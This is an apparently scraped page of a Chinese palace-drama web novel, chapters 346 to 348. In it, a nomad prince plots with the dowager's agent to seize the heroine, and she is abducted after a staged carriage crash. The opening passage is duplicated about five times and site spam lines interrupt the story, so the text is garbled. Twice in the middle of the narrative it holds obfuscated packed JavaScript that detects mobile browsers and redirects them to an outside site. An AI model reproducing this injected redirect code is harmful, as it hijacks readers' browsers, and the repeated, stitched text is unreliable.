薛家却不必这般奔波,薛家早已与商户定好,每日清晨,都会有固定的商家将新鲜的蔬菜、鲜肉、禽蛋送到府门口,分门别类整理好,再由厨房的人取走,省去了不少麻烦。 这日一早,厨房的王妈像往常一样,带着人去府门口取送来的食材。 王妈收拾着菜篮子里的新鲜蔬菜,忽觉得不对劲,竟从中翻出来一封封了口的信。 “这是……”王妈愣了愣,一旁的丫鬟春英跟着司雨学了一些字,认出上头写着“薛嘉言亲启”几个字,不敢耽搁,连忙擦了擦手上的水渍,捧着信快步往薛嘉言的院落走去。 薛嘉言将信拿到手里,便皱起了眉头——这信封上头的字迹歪歪扭扭、笔画僵硬,像是几岁孩童初学写字,若不是清清楚楚写着自己的名字,她真要以为是谁家小孩儿玩的把戏。 薛嘉言拆开信封,抽出里面的信纸,匆匆扫了几行,脸色一点点变得铁青。 信上的内容直白又轻佻,字字句句都是忽兰儿的挑衅与折辱,他竟明目张胆地约她今日巳时去城西一间茶楼相见,言语间满是狎昵。 “好一个没开化的登徒浪子!”薛嘉言咬着牙,心底的怒火翻涌不止。 她万万没想到,忽兰儿竟如此肆无忌惮,明明知道她是姜玄的人,却还敢这般折辱她,简直是狂妄至极。 薛嘉言自然不会傻到去赴约,找了个信封来,将这封信塞进去,写上“苗菁亲启”的字样,叫人把这封信送到北镇抚司。 信被送走了,薛嘉言却依旧心绪不宁,坐在窗边,眉头紧紧蹙着。 她反复琢磨着忽兰儿的举动,实在不解——他不可能不知道她的身份,也不可能不清楚这么做的后果,可他却依旧这般无所顾忌,难道真的是胜券在握? 更让她心头不安的是,信中说姜玄病重。 这几日,她确实没有收到姜玄的任何消息,想到他平日里是那般精力充沛、能折腾的人,怎么会突然病重? 薛嘉言嘴上说着不相信,心底却难免泛起一丝担忧,让拾英去张鸿宝家里问问情况 出去。 厅内再次恢复了寂静,忽兰儿独自坐在坐榻上,指尖依旧摩挲着那枚狼牙吊坠,脑海里全是薛嘉言的模样——冷静淡漠,眉眼间带着几分疏离,仿佛世间万物都入不了她的眼。 他嘴角勾起一抹玩味的笑,心底暗道:这般冷静的女人,若是落在我身下,还会一如既往地平静吗? 定然不会。她应该会为我癫狂,为我呻吟,就像草原上所有臣服于我的女人一样。 毕竟,她这辈子只尝过那个瘫废的弱鸡赘婿,还有那个手无缚鸡之力的白面皇帝,哪里见过我这般雄健的草原男儿? 想到这里,忽兰儿眼中闪过一丝自负的光芒,轻轻笑了起来,满是志在必得的自信,仿佛薛嘉言早已是他囊中之物。 第二日一早,天刚蒙蒙亮,京城渐渐苏醒过来。 沿街的铺子陆续敞开大门,不少人家的妇人、仆役提着竹篮,裹紧了棉衣,匆匆出门采买食材。 薛家却不必这般奔波,薛家早已与商户定好,每日清晨,都会有固定的商家将新鲜的蔬菜、鲜肉、禽蛋送到府门口,分门别类整理好,再由厨房的人取走,省去了不少麻烦。 这日一早,厨房的王妈像往常一样,带着人去府门口取送来的食材。 王妈收拾着菜篮子里的新鲜蔬菜,忽觉得不对劲,竟从中翻出来一封封了口的信。 “这是……”王妈愣了愣,一旁的丫鬟春英跟着司雨学了一些字,认出上头写着“薛嘉言亲启”几个字,不敢耽搁,连忙擦了擦手上的水渍,捧着信快步往薛嘉言的院落走去。 薛嘉言将信拿到手里,便皱起了眉头——这信封上头的字迹歪歪扭扭、笔画僵硬,像是几岁孩童初学写字,若不是清清楚楚写着自己的名字,她真要以为是谁家小孩儿玩的把戏。 薛嘉言拆开信封,抽出里面的信纸,匆匆扫了几行,脸色一点点变得铁青。 信上的内容直白又轻佻,字字句句都是忽兰儿的挑衅与折辱,他竟明目张胆地约她今日巳时去城西一间茶楼相见,言语间满是狎昵。 “好一个没开化的登徒浪子!”薛嘉言咬着牙,心底的怒火翻涌不止。 她万万没想到,忽兰儿竟如此肆无忌惮,明明知道她是姜玄的人,却还敢这般折辱她,简直是狂妄至极。 薛嘉言自然不会傻到去赴约,找了个信封来,将这封信塞进去,写上“苗菁亲启”的字样,叫人把这封信送到北镇抚司。 信被送走了,薛嘉言却依旧心绪不宁,坐在窗边,眉头紧紧蹙着。 她反复琢磨着忽兰儿的举动,实在不解——他不可能不知道她的身份,也不可能不清楚这么做的后果,可他却依旧这般无所顾忌,难道真的是胜券在握? 更让她心头不安的是,信中说姜玄病重。 这几日,她确实没有收到姜玄的任何消息,想到他平日里是那般精力充沛、能折腾的人,怎么会突然病重? 薛嘉言嘴上说着不相信,心底却难免泛起一丝担忧,让拾英去张鸿宝家里问问情况 出去。 厅内再次恢复了寂静,忽兰儿独自坐在坐榻上,指尖依旧摩挲着那枚狼牙吊坠,脑海里全是薛嘉言的模样——冷静淡漠,眉眼间带着几分疏离,仿佛世间万物都入不了她的眼。 他嘴角勾起一抹玩味的笑,心底暗道:这般冷静的女人,若是落在我身下,还会一如既往地平静吗? 定然不会。她应该会为我癫狂,为我呻吟,就像草原上所有臣服于我的女人一样。 毕竟,她这辈子只尝过那个瘫废的弱鸡赘婿,还有那个手无缚鸡之力的白面皇帝,哪里见过我这般雄健的草原男儿? 想到这里,忽兰儿眼中闪过一丝自负的光芒,轻轻笑了起来,满是志在必得的自信,仿佛薛嘉言早已是他囊中之物。 第二日一早,天刚蒙蒙亮,京城渐渐苏醒过来。 沿街的铺子陆续敞开大门,不少人家的妇人、仆役提着竹篮,裹紧了棉衣,匆匆出门采买食材。 薛家却不必这般奔波,薛家早已与商户定好,每日清晨,都会有固定的商家将新鲜的蔬菜、鲜肉、禽蛋送到府门口,分门别类整理好,再由厨房的人取走,省去了不少麻烦。 这日一早,厨房的王妈像往常一样,带着人去府门口取送来的食材。 王妈收拾着菜篮子里的新鲜蔬菜,忽觉得不对劲,竟从中翻出来一封封了口的信。 “这是……”王妈愣了愣,一旁的丫鬟春英跟着司雨学了一些字,认出上头写着“薛嘉言亲启”几个字,不敢耽搁,连忙擦了擦手上的水渍,捧着信快步往薛嘉言的院落走去。 薛嘉言将信拿到手里,便皱起了眉头——这信封上头的字迹歪歪扭扭、笔画僵硬,像是几岁孩童初学写字,若不是清清楚楚写着自己的名字,她真要以为是谁家小孩儿玩的把戏。 薛嘉言拆开信封,抽出里面的信纸,匆匆扫了几行,脸色一点点变得铁青。 信上的内容直白又轻佻,字字句句都是忽兰儿的挑衅与折辱,他竟明目张胆地约她今日巳时去城西一间茶楼相见,言语间满是狎昵。 “好一个没开化的登徒浪子!”薛嘉言咬着牙,心底的怒火翻涌不止。 她万万没想到,忽兰儿竟如此肆无忌惮,明明知道她是姜玄的人,却还敢这般折辱她,简直是狂妄至极。 薛嘉言自然不会傻到去赴约,找了个信封来,将这封信塞进去,写上“苗菁亲启”的字样,叫人把这封信送到北镇抚司。 信被送走了,薛嘉言却依旧心绪不宁,坐在窗边,眉头紧紧蹙着。 她反复琢磨着忽兰儿的举动,实在不解——他不可能不知道她的身份,也不可能不清楚这么做的后果,可他却依旧这般无所顾忌,难道真的是胜券在握? 更让她心头不安的是,信中说姜玄病重。 这几日,她确实没有收到姜玄的任何消息,想到他平日里是那般精力充沛、能折腾的人,怎么会突然病重? 薛嘉言嘴上说着不相信,心底却难免泛起一丝担忧,让拾英去张鸿宝家里问问情况 出去。 厅内再次恢复了寂静,忽兰儿独自坐在坐榻上,指尖依旧摩挲着那枚狼牙吊坠,脑海里全是薛嘉言的模样——冷静淡漠,眉眼间带着几分疏离,仿佛世间万物都入不了她的眼。 他嘴角勾起一抹玩味的笑,心底暗道:这般冷静的女人,若是落在我身下,还会一如既往地平静吗? 定然不会。她应该会为我癫狂,为我呻吟,就像草原上所有臣服于我的女人一样。 毕竟,她这辈子只尝过那个瘫废的弱鸡赘婿,还有那个手无缚鸡之力的白面皇帝,哪里见过我这般雄健的草原男儿? 想到这里,忽兰儿眼中闪过一丝自负的光芒,轻轻笑了起来,满是志在必得的自信,仿佛薛嘉言早已是他囊中之物。 第二日一早,天刚蒙蒙亮,京城渐渐苏醒过来。 沿街的铺子陆续敞开大门,不少人家的妇人、仆役提着竹篮,裹紧了棉衣,匆匆出门采买食材。 薛家却不必这般奔波,薛家早已与商户定好,每日清晨,都会有固定的商家将新鲜的蔬菜、鲜肉、禽蛋送到府门口,分门别类整理好,再由厨房的人取走,省去了不少麻烦。 这日一早,厨房的王妈像往常一样,带着人去府门口取送来的食材。 王妈收拾着菜篮子里的新鲜蔬菜,忽觉得不对劲,竟从中翻出来一封封了口的信。 “这是……”王妈愣了愣,一旁的丫鬟春英跟着司雨学了一些字,认出上头写着“薛嘉言亲启”几个字,不敢耽搁,连忙擦了擦手上的水渍,捧着信快步往薛嘉言的院落走去。 薛嘉言将信拿到手里,便皱起了眉头——这信封上头的字迹歪歪扭扭、笔画僵硬,像是几岁孩童初学写字,若不是清清楚楚写着自己的名字,她真要以为是谁家小孩儿玩的把戏。 薛嘉言拆开信封,抽出里面的信纸,匆匆扫了几行,脸色一点点变得铁青。 信上的内容直白又轻佻,字字句句都是忽兰儿的挑衅与折辱,他竟明目张胆地约她今日巳时去城西一间茶楼相见,言语间满是狎昵。 “好一个没开化的登徒浪子!”薛嘉言咬着牙,心底的怒火翻涌不止。 她万万没想到,忽兰儿竟如此肆无忌惮,明明知道她是姜玄的人,却还敢这般折辱她,简直是狂妄至极。 薛嘉言自然不会傻到去赴约,找了个信封来,将这封信塞进去,写上“苗菁亲启”的字样,叫人把这封信送到北镇抚司。 信被送走了,薛嘉言却依旧心绪不宁,坐在窗边,眉头紧紧蹙着。 她反复琢磨着忽兰儿的举动,实在不解——他不可能不知道她的身份,也不可能不清楚这么做的后果,可他却依旧这般无所顾忌,难道真的是胜券在握? 更让她心头不安的是,信中说姜玄病重。 这几日,她确实没有收到姜玄的任何消息,想到他平日里是那般精力充沛、能折腾的人,怎么会突然病重? 薛嘉言嘴上说着不相信,心底却难免泛起一丝担忧,让拾英去张鸿宝家里问问情况 出去。 厅内再次恢复了寂静,忽兰儿独自坐在坐榻上,指尖依旧摩挲着那枚狼牙吊坠,脑海里全是薛嘉言的模样——冷静淡漠,眉眼间带着几分疏离,仿佛世间万物都入不了她的眼。 他嘴角勾起一抹玩味的笑,心底暗道:这般冷静的女人,若是落在我身下,还会一如既往地平静吗? 定然不会。她应该会为我癫狂,为我呻吟,就像草原上所有臣服于我的女人一样。 毕竟,她这辈子只尝过那个瘫废的弱鸡赘婿,还有那个手无缚鸡之力的白面皇帝,哪里见过我这般雄健的草原男儿? 想到这里,忽兰儿眼中闪过一丝自负的光芒,轻轻笑了起来,满是志在必得的自信,仿佛薛嘉言早已是他囊中之物。 第二日一早,天刚蒙蒙亮,京城渐渐苏醒过来。 沿街的铺子陆续敞开大门,不少人家的妇人、仆役提着竹篮,裹紧了棉衣,匆匆出门采买食材。 薛家却不必这般奔波,薛家早已与商户定好,每日清晨,都会有固定的商家将新鲜的蔬菜、鲜肉、禽蛋送到府门口,分门别类整理好,再由厨房的人取走,省去了不少麻烦。 这日一早,厨房的王妈像往常一样,带着人去府门口取送来的食材。 王妈收拾着菜篮子里的新鲜蔬菜,忽觉得不对劲,竟从中翻出来一封封了口的信。 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她万万没想到,忽兰儿竟如此肆无忌惮,明明知道她是姜玄的人,却还敢这般折辱她,简直是狂妄至极。 薛嘉言自然不会傻到去赴约,找了个信封来,将这封信塞进去,写上“苗菁亲启”的字样,叫人把这封信送到北镇抚司。 信被送走了,薛嘉言却依旧心绪不宁,坐在窗边,眉头紧紧蹙着。 她反复琢磨着忽兰儿的举动,实在不解——他不可能不知道她的身份,也不可能不清楚这么做的后果,可他却依旧这般无所顾忌,难道真的是胜券在握? 更让她心头不安的是,信中说姜玄病重。 这几日,她确实没有收到姜玄的任何消息,想到他平日里是那般精力充沛、能折腾的人,怎么会突然病重? 薛嘉言嘴上说着不相信,心底却难免泛起一丝担忧,让拾英去张鸿宝家里问问情况 出去。 厅内再次恢复了寂静,忽兰儿独自坐在坐榻上,指尖依旧摩挲着那枚狼牙吊坠,脑海里全是薛嘉言的模样——冷静淡漠,眉眼间带着几分疏离,仿佛世间万物都入不了她的眼。 他嘴角勾起一抹玩味的笑,心底暗道:这般冷静的女人,若是落在我身下,还会一如既往地平静吗? 定然不会。她应该会为我癫狂,为我呻吟,就像草原上所有臣服于我的女人一样。 毕竟,她这辈子只尝过那个瘫废的弱鸡赘婿,还有那个手无缚鸡之力的白面皇帝,哪里见过我这般雄健的草原男儿? 想到这里,忽兰儿眼中闪过一丝自负的光芒,轻轻笑了起来,满是志在必得的自信,仿佛薛嘉言早已是他囊中之物。 第二日一早,天刚蒙蒙亮,京城渐渐苏醒过来。 沿街的铺子陆续敞开大门,不少人家的妇人、仆役提着竹篮,裹紧了棉衣,匆匆出门采买食材。 薛家却不必这般奔波,薛家早已与商户定好,每日清晨,都会有固定的商家将新鲜的蔬菜、鲜肉、禽蛋送到府门口,分门别类整理好,再由厨房的人取走,省去了不少麻烦。 这日一早,厨房的王妈像往常一样,带着人去府门口取送来的食材。 王妈收拾着菜篮子里的新鲜蔬菜,忽觉得不对劲,竟从中翻出来一封封了口的信。 “这是……”王妈愣了愣,一旁的丫鬟春英跟着司雨学了一些字,认出上头写着“薛嘉言亲启”几个字,不敢耽搁,连忙擦了擦手上的水渍,捧着信快步往薛嘉言的院落走去。 薛嘉言将信拿到手里,便皱起了眉头——这信封上头的字迹歪歪扭扭、笔画僵硬,像是几岁孩童初学写字,若不是清清楚楚写着自己的名字,她真要以为是谁家小孩儿玩的把戏。 薛嘉言拆开信封,抽出里面的信纸,匆匆扫了几行,脸色一点点变得铁青。 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薛嘉言将信拿到手里,便皱起了眉头——这信封上头的字迹歪歪扭扭、笔画僵硬,像是几岁孩童初学写字,若不是清清楚楚写着自己的名字,她真要以为是谁家小孩儿玩的把戏。 薛嘉言拆开信封,抽出里面的信纸,匆匆扫了几行,脸色一点点变得铁青。 信上的内容直白又轻佻,字字句句都是忽兰儿的挑衅与折辱,他竟明目张胆地约她今日巳时去城西一间茶楼相见,言语间满是狎昵。 “好一个没开化的登徒浪子!”薛嘉言咬着牙,心底的怒火翻涌不止。 她万万没想到,忽兰儿竟如此肆无忌惮,明明知道她是姜玄的人,却还敢这般折辱她,简直是狂妄至极。 薛嘉言自然不会傻到去赴约,找了个信封来,将这封信塞进去,写上“苗菁亲启”的字样,叫人把这封信送到北镇抚司。 信被送走了,薛嘉言却依旧心绪不宁,坐在窗边,眉头紧紧蹙着。 她反复琢磨着忽兰儿的举动,实在不解——他不可能不知道她的身份,也不可能不清楚这么做的后果,可他却依旧这般无所顾忌,难道真的是胜券在握? 更让她心头不安的是,信中说姜玄病重。 这几日,她确实没有收到姜玄的任何消息,想到他平日里是那般精力充沛、能折腾的人,怎么会突然病重? 薛嘉言嘴上说着不相信,心底却难免泛起一丝担忧,让拾英去张鸿宝家里问问情况 第346章 下流 另一边,城西的望湖茶楼里,忽兰儿坐在二楼临窗的雅间里,面前的桌上摆着一壶早已凉透的茶,茶杯已经空了好几盏。 约定的时辰早已过去,忽兰儿的茶喝了一壶又一壶,却始终没有看到薛嘉言的身影。 忽兰儿的脸色渐渐沉了下来,眼底闪过一丝愠怒——他没想到,薛嘉言竟然不给他半点面子。 可转念一想,他又忽然笑了起来,眼底的愠怒渐渐散去,取而代之的是几分得意与玩味。 想来,薛嘉言根本就没把那个病秧子皇帝放在心上,不然,怎么会没把他的提议放在心上?这样冷情、有性子的女子,才更对他的胃口。 若是他能征服这样一个女子,让她心甘情愿臣服于自己,岂不是正好证明,他比姜玄那个病弱皇帝强上百倍? 一想到这里,忽兰儿心底的兴致就愈发浓厚,也不再计较薛嘉言的失约,反而觉得,这场追逐,变得更有意思了。 与此同时,北镇抚司内,薄广正捏着薛嘉言派人送来的信,眉头微微蹙着。 信封上写着“苗菁大人亲启,他知道苗菁去了朝会,一时半会回不来,只得对着手下人吩咐:“派人去宫门口守着,若苗大人出来了,便把这封信交给他。 手下人不敢耽搁,立刻揣着信应声跑了出去。 紫宸殿内烛火煌煌,自清晨直燃到暮色四合。 殿外冬风卷着寒雾,殿内却是一派肃杀凝重。 姜玄端坐龙椅之上,神色沉凝,听着底下朝臣一桩桩奏报边关防务、地方钱粮、冬赈调度。 每年岁末本就是朝事最繁之时,今年又叠加边情不稳,各地急报如雪片般飞入宫中,朝会便一拖再拖,丝毫没有散场的迹象。 日头渐渐移过中天,已是申时,殿内不少老臣已是面色发白,腰背僵直,连站都有些不稳。 张鸿宝瞧着时机,上前一步,轻声委婉提醒,言诸位老臣年事已高,恐支撑不住。 姜玄微微颔首,沉声道:“朝会暂歇。 一声令下,御膳房立刻将备好的点心、热汤呈了上来,众臣就地休整半刻,稍作喘息,便又重新入殿议事。 这般一直熬到酉时末,天色早已黑透,殿外宫灯次第亮起,冗长的朝会才算终于落下帷幕。 老臣们一个个揉着酸胀不堪的腰背,脚步虚浮、深一脚浅一脚地鱼贯退出紫宸殿。 可姜玄却未有半分歇息之意。 他屏退左右,又接连召见了几位心腹重臣,殿内烛火映得他面容愈显冷峻。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 最后,苗菁躬身入内,将姜玄早前交代的几桩事宜一一细细禀明。 “陛下,朱同济并非旧伤复发以致昏迷——他是中了毒。” 姜玄眸色骤然一沉:“确定?” “确定无误。”苗菁垂首,语气笃定,“与何毅同行的张狄本就是解毒圣手,臣当初便心存疑虑,特意派他同往查验,果然查出是毒药暗中侵体,伪装成旧伤发作。” 姜玄喉间溢出一声冷嗤,寒意彻骨:“连镇守边关的大将都敢下手,很好,真是好胆量。” 苗菁低声道:“陛下,幸亏施救及时,若再拖上两三日,朱同济身上的毒便会彻底发作……” 姜玄眸中闪过一丝厉色,倾身向前,对苗菁低声耳语数句,声音轻得只有两人可闻。 苗菁神色一凛,立刻躬身:“臣遵旨。” “另外。”姜玄语气微顿,“阮景明、闻圣杰二人,务必完好无损地带回来。是无奈被俘,还是早有勾结,是受贿通敌,还是遭人栽赃——朕要你查得清清楚楚!” “是!臣明白!” 诸事交代完毕,姜玄抬手轻轻揉着太阳穴,只觉得颅顶一阵一阵抽痛。 那恼人的头风偏偏拣在最繁忙的时候发作,钝痛绵绵不绝,扰得人心烦意乱。 他沉默片刻,忽然开口:“忽兰儿那边如何了?还算老实?” 苗菁回道:“回陛下,这两夜,忽兰儿都让赵谦益安排女子侍寝,一次便是两人,举止颇为放纵。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17348443|197140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜玄眉峰一蹙,冷笑一声,语气里满是不屑:“下流!” 苗菁继续道:“昨日鸿胪寺派人陪同朵颜部众人在京中闲逛,他们去了棋盘街一带,恰巧……恰巧撞见了薛主子在粮行门口平息事端。” 姜玄脸色微变:“什么事端?” “是几个泼皮故意挑事,煽动百姓围堵福运粮行,一口咬定粮行囤积居奇、哄抬米价,闹得沸沸扬扬。” 姜玄当即沉脸:“周明发连这点小事都处置不好?” “周明发早已派人去请五城兵马司弹压,” 苗菁低声道,“可偏偏被宋襄撞见,他故意压着底下校尉,非要禀公办理,逼着粮行东家出面回话——薛主子无奈,便亲自出来了。” 姜玄指节猛地攥紧。 不用想也知道,这是宋家的手笔,逮着一丝机会,便要千方百计为难言言。 他心头一紧,声音带着几分焦灼:“言言……没吃亏吧?” 苗菁道:“那倒没有,薛主子现在厉害着呢,几句话就把那些人的心思挑破了,条理分明,气势也稳,半点没落在下风。忽兰儿也没怎么样,就在远处瞧了会热闹,便带着人离开了。” 姜玄悬着的心这才缓缓落下,紧绷的肩线微松,沉声道:“你回头派个人去跟她说一声,最近京里人心浮动,各方势力都在观望,能少出门便少出门,免得有人暗中使坏,防不胜防。” 苗菁躬身应是,正要躬身告退,姜玄却又抬手止住他,沉吟片刻,语气不自觉软了几分:“罢了。让她在外头就是为了自在一些,若连家门都不能出,反倒憋得难受,与软禁何异?” 他扬声唤道:“张鸿宝!” 张鸿宝立刻小跑着上前,垂手待命:“老奴在。” “传朕的口谕给敖策,除了薛宅四周加派人手值守之外,她但凡出门,无论去往何处,都暗中多添两拨精锐护卫,务必确保她万无一失,半点差错都不能出。” “老奴遵旨!”张鸿宝连忙应声,不敢有半分耽搁。 苗菁这才躬身告退,退出紫宸殿。 第347章 娘娘助您 夜色渐渐暗了,寒风刺骨。 苗菁一出宫门,便有北镇抚司的小旗上前将怀中信递了过来。 苗菁心头一紧,立刻接过信,拆开快速扫过一眼。 只看了两行,他脸色骤然铁青,周身寒气暴涨,咬牙低骂一声:“贼子竟敢如此找死! “备马!苗菁将密信攥紧,声音冷厉,“立刻随我去薛家! 两骑快马踏着夜色疾驰,一路直奔薛宅。 待到了门前,苗菁翻身下马,急声问门房:“你家主子可在府中? 门房连忙躬身回道:“回大人,方才宫中来人,已经将主子宣召入宫了。 苗菁眉头一蹙:“是哪位公公前来传旨? “是一位姓甘的小公公领头,带了几名内侍和户外。 苗菁闻言,高悬的心这才稍稍松了口气。 姓甘……那是陛下身边常用的人,想来是陛下思念薛主子,特意宣召入宫。 他暗自思忖:陛下早已下令让敖策加派护卫,防卫严密;忽兰儿入京所带人手有限,又被层层监视在四夷馆,顶多只能暗地里递封书信、耍些小伎俩,绝无可能在京城腹地明目张胆地动手。 想通这一层,苗菁紧绷的神色缓和。 他不再多留,翻身上马,赶去处置几桩更为要紧的大事。 话说忽兰儿自见了薛嘉言,一颗心便被勾得七上八下,眼底心里,全是那女子的身影。 他心中早已动了念头,要将人掳回身边,用草原男儿的方式,叫她知道什么是真正的依靠,什么是顶天立地的真男儿。 可赤那几番打探探查,回来却只能摇头,一脸难色。 “台吉,薛宅附近暗卫不少,明里暗里都有人守着,那位薛娘子出门,前后也有护卫相随,防卫严密得很。咱们人手有限,又不能在京城腹地大动干戈,硬抢抢不过,暗偷又近不得身,实在无从下手。 忽兰儿听得烦躁,一拳轻轻砸在桌沿。 到嘴的香肉偏偏吃不着,为了一个女人冒毁掉和谈的风险,又实在不值当。 他咂了咂舌,心中又是可惜,又是不甘,却也只能暂且按捺下那股子汹涌的占有欲。 便在这时,门外忽然传来轻轻叩门声。 赤那立刻警觉,手按在刀柄上,缓步过去开门。 门外站着一个面生的中年男子,穿着四夷馆仆役的青布衣裳,神色平静,不见半分慌乱。 赤那眉头一皱,沉声问道:“何事? 那人微微 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 躬身,笑容温和,语气却带着几分笃定:“小人名唤汪贵,特来为尊贵的忽兰台吉解忧。” 赤那心中猛地一跳。 解忧? 他略一沉吟,侧身将人让了进来,目光始终紧紧锁在对方身上,不敢有半分松懈。 汪贵从容入内,先对着上首的忽兰儿规规矩矩行了一礼,不卑不亢,依旧是那副平静温和的模样,开口便直戳要害:“台吉是不是一心想要那位薛氏娘子?” 忽兰儿脸色瞬间冷了下来,周身气势一沉,目光如鹰隼般盯住他:“你是谁,竟敢窥探本台吉的心思?” 汪贵不急不躁,抬手指了指上方,淡淡一笑:“小人的主子,手可通天,台吉心中所想,自然瞒不过。” “你主子是谁?”忽兰儿声音冷冽。 汪贵垂眸,一字一顿,清晰吐出几个字:“太后娘娘。” 忽兰儿闻言,先是一怔,随即脸上缓缓露出几分玩味的笑意。 三日了。入京三日,风平浪静,总算有人肯露出真面目了。 早前便有大兖的人潜入朵颜,暗中撺掇哈兀真生事,那人背后之人藏得极深,始终不曾暴露身份,只含糊说是大兖的掌权贵族。 直到他软禁阮景明,一番严刑拷打,对方口吐鲜血,才终于交代——背后之人,正是宋家。 忽兰儿虽不大懂大兖朝堂这些贵族间的倾轧,却看得明白一件事: 大兖早已不是铁板一块,当年扶持陛下上位的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17348444|197140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋家,如今与皇帝生出了裂痕,君臣离心,后戚与皇权对立。 这正是他可以借力打力、从中谋利的好机会。 入京之后一连几日平静无波,他都有些怀疑阮景明的供词是真是假。 如今太后主动派人上门,倒是印证了他心中猜测。 忽兰儿身子微微前倾,语气带着几分探究:“太后娘娘身份尊贵,为何要帮本台吉?” 汪贵从容答道:“台吉想必也清楚,如今宫中仅有一位宋家出身的静妃,陛下却偏偏偏宠薛氏,日夜相伴,冷落了静妃,以致后宫至今无子。太后娘娘对这薛氏,早已深恶痛绝,却碍于陛下颜面,不便亲自动手。台吉若喜爱此女,太后娘娘自然愿意暗中促成这桩‘美事’。” 忽兰儿故作迟疑,皱了皱眉:“她毕竟是陛下的人,本台吉若贸然出手,岂不是直接得罪陛下,对我朵颜和谈大大不利?” “台吉只知其一,不知其二。”汪贵微微一笑,继续诱说,“那薛氏不仅容貌绝色,更极善经营,生意遍布京城,财富惊人。台吉若得了她,不仅得一美人,更能将她手中的生意握在手里,往后朵颜部缺少的粮食、布匹,皆可源源不断,再不必受大兖钳制。” 忽兰儿沉吟片刻,又道:“话虽如此,可她终究是陛下的人,我若强要,陛下必定震怒。” “所以,眼下才是最好的时机。”汪贵声音压低了几分,“只要薛氏已然委身于台吉,生米煮成熟饭,台吉届时只需在和谈桌上稍稍让步,用条件交换。陛下是帝王,以江山社稷为重,想必不会为了一个失了身的女人,误了两国邦交的大事。” 忽兰儿眼中精光一闪,挑眉笑道:“这么说,太后娘娘早已将一切设计妥当,就等本台吉点头了?” 汪贵垂首,笑容温和,语气却带着不容置疑的笃定:“只要台吉愿意,今晚,便可享用美人。” 忽兰儿仰头大笑一声,意气风发,眼底的占有欲再也不加掩饰。 “好!既然是太后娘娘一番美意,本台吉若是推辞,倒显得不识趣了!” 第348章 突发 这时正是快要宵禁的时分,暮色沉沉,寒风打着卷儿掠过街头。 街上行人都行色匆匆,赶着在宫门下钥、城门紧闭前归家。 薛嘉言乘坐的马车在暮色中平稳前行,已行至宫城附近,再转过一道街口,便可从侧门入宫。 谁也没料到,变故就在这一瞬发生。 斜刺里突然冲出一匹脱缰惊马,长嘶一声,疯了一般直直朝马车冲撞而来! “吁——!” 马夫厉声喝止,可拉车的两匹马早已被惊马吓得魂飞魄散,前蹄扬起,竟朝着惊马冲来的反方向疯狂狂奔。 车身剧烈摇晃,几乎要散架。 薛嘉言在车内猝不及防,心猛地提到嗓子眼,连忙死死攥住车内车架。 “稳住!快稳住!” 马夫拼尽全力拽紧缰绳,可人力哪里抵得过受惊奔马的蛮力。 马车在青石板路上横冲直撞,眼看就要失控。 护卫们脸色剧变,纷纷拔刀出鞘,厉声喝道: “护好主子!斩缰!” 寒光一闪,缰绳应声而断。 可失去束缚的马车并未停下,在巨大的惯性之下,如同离弦之箭一般,直直冲向前方的外金水河! “噗通——轰隆——!” 腊月寒冬,河水冰冷刺骨,河面只结着一层不算厚实的冰。 马车重重砸下,冰层不堪重负,咔嚓一声裂开一个巨大的豁口,碎冰四溅,水花轰然翻涌。 整辆马车连带着车内之人,瞬间沉入漆黑的河水之中。 “快救人!!” 护卫们目眦欲裂,纷纷纵身跃入河中。 可这些护卫多是北地出身,本就不善水性,加之身上穿着厚重棉衣或是甲胄,一入冰水便冻得四肢僵硬,行动迟缓,在浑浊翻涌的河水中连方向都难以辨清,更别说寻人。 一番慌乱打捞,众人只狼狈地救起了马夫、传旨太监甘柏,以及薛嘉言的贴身侍女司雨。 唯独不见薛嘉言的身影。 她就像凭空融化在了这片刺骨的寒水里,杳无踪迹。 领头护卫于志英浑身湿透,脸色青得吓人,嘴唇发紫,也不知是冻的,还是吓的。 他牙关打颤,却仍厉声下令: “快!王玉即刻入宫禀告陛下!其余人——继续给我搜!活要见人,死要见尸!” 渐浓的夜色彻底笼罩下来,河面渐渐恢复平静,只余下零星碎冰随波浮动。 无人注意,在一片混乱之中,外金 水河面泛起一道微不可查的细小水波,悄无声息地向前流去。 河水转过弯道,在城墙最偏僻的角落里,冰面忽然破开。 一个人影破水而出,呼吸微促。 正是早已在此潜伏待命的死士。 他穿着一身墨色鲛皮水靠,此物乃以深海鲨皮鞣制而成,内衬丝绵,外涂桐油,密不透风,不惧严寒冰水。 他在水下屏息潜伏许久,等的就是这一刻。 死士稳稳托着昏迷不醒的薛嘉言,迅速登岸,拔去她口中用于呼吸的细竹管,随手丢入河中。 早已等候在墙角暗处的人影立刻上前,将薛嘉言裹进厚厚的黑色斗篷,横抱而起,转身便消失在沉沉夜色里,不留半分痕迹。 四夷馆不远处,矗立着一座气派非凡的客栈,名曰“汇宾楼”。 此楼共三层,青砖砌墙,朱红廊柱,楼内雕梁画栋,廊下挂满了名人字画,往来皆是衣着华贵的商贾、腰佩刀剑的世家子弟,还有不少身着异族服饰的使者。 客栈二楼三楼皆是雅间,内里陈设更是奢华,紫檀木桌椅上摆着汝窑青瓷茶具,墙角燃着安神的沉香,能在此处落脚的,皆是非富即贵之人。 